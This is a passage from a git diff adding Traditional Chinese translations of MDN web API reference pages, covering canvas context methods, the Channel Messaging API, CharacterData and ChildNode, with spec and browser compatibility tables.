+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Restores the drawing style state to the last element on the 'state stack' saved by <code>save()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
+ <dd>A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.</dd>
+</dl>
+
+<h2 id="點擊區域">點擊區域</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Adds a hit region to the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Removes the hit region with the specified <code>id</code> from the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Removes all hit regions from the canvas.</dd>
+</dl>
+
+<h2 id="非標準_API">非標準 API</h2>
+
+<h3 id="Blink_及_WebKit_引擎">Blink 及 WebKit 引擎</h3>
+
+<p>Most of these APIs are <a href="https://code.google.com/p/chromium/issues/detail?id=363198">deprecated and will be removed in the future</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Removes all shadow settings like {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalAlpha")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineWidth")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineJoin")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineCap")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.miterLimit")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.strokeStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.fillStyle")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.shadowColor")}} and {{domxref("CanvasRenderingContext2D.shadowBlur")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Use {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} instead.</dd>
+</dl>
+
+<h3 id="Blink_引擎專屬">Blink 引擎專屬</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.getContextAttributes()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns an <code>Canvas2DContextAttributes</code> object that contains the attributes "storage" to indicate which storage is used ("persistent" by default) and the attribute "alpha" (<code>true</code> by default) to indicate that transparency is used in the canvas.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>Inspired by the same <code>WebGLRenderingContext</code> method it returns <code>true</code> if the Canvas context has been lost, or <code>false</code> if not.</dd>
+</dl>
+
+<h3 id="WebKit_引擎專屬">WebKit 引擎專屬</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd>The backing store size in relation to the canvas element. See <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Intended for HD backing stores, but removed from canvas specifications.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Gecko_引擎專屬">Gecko 引擎專屬</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd>CSS and SVG filters as Canvas APIs. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDash</code></dt>
+ <dd>An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDashOffset</code></dt>
+ <dd>Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}</dt>
+ <dd>Renders a region of a XUL element into the <code>canvas</code>.</dd>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相容性註記">相容性註記</h2>
+
+<ul>
+ <li>Starting with Gecko 5.0 {{geckoRelease("5.0")}}, specifying invalid values are now silently ignored for the following methods and properties: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
+
+<div class="s3gt_translate_tooltip" id="s3gt_translate_tooltip" style="position: absolute; left: 339px; top: 135px; opacity: 0.6;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="翻譯選取的文字"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="朗讀"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="將文字複製到剪貼簿"> </div>
+</div>
+
+<div class="s3gt_translate_tooltip" id="s3gt_translate_tooltip" style="position: absolute; left: 126px; top: 158px;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="翻譯選取的文字"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="朗讀"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="將文字複製到剪貼簿"> </div>
+</div>
diff --git a/files/zh-tw/web/api/channel_messaging_api/index.html b/files/zh-tw/web/api/channel_messaging_api/index.html
new file mode 100644
index 0000000000..1cf9d98692
--- /dev/null
+++ b/files/zh-tw/web/api/channel_messaging_api/index.html
@@ -0,0 +1,158 @@
+---
+title: Channel Messaging API
+slug: Web/API/Channel_Messaging_API
+translation_of: Web/API/Channel_Messaging_API
+---
+<p>Channel Messaging API 讓同屬一份文件不同瀏覽環境的兩份程式腳本 (如兩個 IFrame、或主頁面和 IFrame、文件和 {{domxref("SharedWorker")}}、或兩個 worker)，也能夠經由雙向 channel (通道) 兩端的 port (連接阜) 直接傳遞訊息互相溝通。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Channel_訊息概念與使用情境">Channel 訊息概念與使用情境</h2>
+
+<p>{{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} 建構子產生 channel， 一但生成了，便可以存取 channel 兩端的 port: {{domxref("MessageChannel.port1")}} 和 {{domxref("MessageChannel.port2")}}，這兩個屬性會回傳 domxref("MessagePort")}} objects.)。建立 channel 的 app 使用 port1，另一端用 port2，利用 {{domxref("window.postMessage")}} 方法帶入參數，向 port2 傳送訊息以及移轉物件 (這裡也就是只 port)。</p>
+
+<p>一但可移轉物件被移轉後，前任擁有者便失去所有權，例如當 port 移轉出去後，原本持有該 port 的環境便不能再使用之。目前可移轉物件只有 {{domxref("ArrayBuffer")}} 以及 {{domxref("MessagePort")}}。</p>
+
+<p>另一端的瀏覽環境則藉由 {{domxref("MessagePort.onmessage")}} 監聽訊息、從訊息事件物件的 data 屬性擷取訊息資料，然後再呼叫 {{domxref("MessagePort.postMessage")}} 回傳訊息。</p>
+
+<p>如果想關閉訊息 channel，則呼叫 {{domxref("MessagePort.close")}}。</p>
+
+<p>更多 API 使用細節請見<a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging"> Using channel messaging</a>。</p>
+
+<h2 id="Channel_訊息介面">Channel 訊息介面</h2>
+
+<dl>
+ <dt>{{domxref("MessageChannel")}}</dt>
+ <dd>生成一個新的 message channel。</dd>
+ <dt>{{domxref("MessagePort")}}</dt>
+ <dd>控制 port，用來傳送和監聽訊息。</dd>
+ <dt>{{domxref("PortCollection")}}</dt>
+ <dd><code>MessagePort</code>s 陣列，實驗性質方案；用來同時廣播到多個訊息 port。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<ul>
+ <li>Github 上有<a href="https://github.com/mdn/channel-messaging-basic-demo"> channel messaging basic demo</a> (<a href="http://mdn.github.io/channel-messaging-basic-demo/">run it live too</a>)，一個簡單示範主頁和 {{htmlelement("iframe")}} 間的訊息溝通。</li>
+ <li>還有 <a href="https://github.com/mdn/channel-messaging-multimessage">multimessaging demo</a> (<a href="http://mdn.github.io/channel-messaging-multimessage/">run this live</a>)，較為複雜的例子。</li>
+</ul>
+
+<h2 id="標準規範">標準規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-comms')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Channel messaging defined in section 9.5. No difference to the the HTML5 Web Messaging spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web Messaging', '#channel-messaging')}}</td>
+   <td>{{Spec2('HTML5 Web Messaging')}}</td>
+   <td>W3C version of the spec.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>PortCollection</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome Mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>PortCollection</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging">Using channel messaging</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/characterdata/index.html b/files/zh-tw/web/api/characterdata/index.html
new file mode 100644
index 0000000000..5e39a14822
--- /dev/null
+++ b/files/zh-tw/web/api/characterdata/index.html
@@ -0,0 +1,156 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CharacterData</strong></code> 介面表示了含有字元的 {{domxref("Node")}} 物件。<code>CharacterData</code> 為抽象介面，代表不會有型別為 <code>CharacterData</code> 的物件。物件是由其子介面，如 {{domxref("Text")}}、{{domxref("Comment")}} 或 {{domxref("ProcessingInstruction")}} 等非抽象介面來實作。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("Node")}}, and implements the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the textual data contained in this object.</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> representing the size of the string contained in <code>CharacterData.data</code>.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately following the specified one in its parent's children list, or <code>null</code> if the specified element is the last one in the list.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately prior to the specified one in its parent's children list, or <code>null</code> if the specified element is the first one in the list.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Node")}}, and implements the {{domxref("ChildNode")}} <em>and {{domxref("NonDocumentTypeChildNode")}} </em>interface.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>Appends the given {{domxref("DOMString")}} to the <code>CharacterData.data</code> string; when this method returns, <code>data</code> contains the concatenated {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd>Removes the specified amount of characters, starting at the specified offset, from the <code>CharacterData.data</code> string; when this method returns, <code>data</code> contains the shortened {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd>Inserts the specified characters, at the specified offset, in the <code>CharacterData.data</code> string; when this method returns, <code>data</code> contains the modified {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes the object from its parent children list.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>Replaces the specified amount of characters, starting at the specified offset, with the specified {{domxref("DOMString")}}; when this method returns, <code>data</code> contains the modified {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the part of <code>CharacterData.data</code> of the specified length and starting at the specified offset.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added implemention of the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}} interface.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Implements {{domxref("ChildNode")}} interface.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Two properties, <code>nextElementSibling</code> and <code>previousElementSibling</code>, have been moved to the {{domxref("NonDocumentTypeChildNode")}} interface, also implemented by <code>CharacterData</code>.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a>.</li>
+</ul>
diff --git a/files/zh-tw/web/api/childnode/index.html b/files/zh-tw/web/api/childnode/index.html
new file mode 100644
index 0000000000..1d7d3f753b
--- /dev/null
+++ b/files/zh-tw/web/api/childnode/index.html
@@ -0,0 +1,182 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+translation_of: Web/API/ChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>childNodes</strong></code> 介面定義了可以擁有父節點之 {{domxref("Node")}} 物件的方法。</p>
+
+<p><code>childNodes</code> 是一個原始的介面，且不能以此建立物件實體。{{domxref("Element")}}、{{domxref("DocumentType")}} 及 {{domxref("CharacterData")}} 物件皆實作了 <code>childNodes</code>。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>沒有繼承或自有的屬性。</em></p>
+
+<h2 id="方法">方法</h2>
+
+<p><em>沒有繼承的方法。</em></p>
+
+<dl>
+ <dt>{{domxref("childNodes.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes this <code>childNodes</code> from the children list of its parent.</dd>
+ <dt>{{domxref("childNodes.before()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just before this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("childNodes.after()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>childNodes</code>'s parent, just after this <code>childNodes</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("childNodes.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>Replaces this <code>childNodes</code> in the children list of its parent with a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'childNodes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}} and <code>childNodes</code>. <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter. The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces. Added the <code>remove()</code>, <code>before()</code>, <code>after()</code> and <code>replaceWith()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>External on github: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
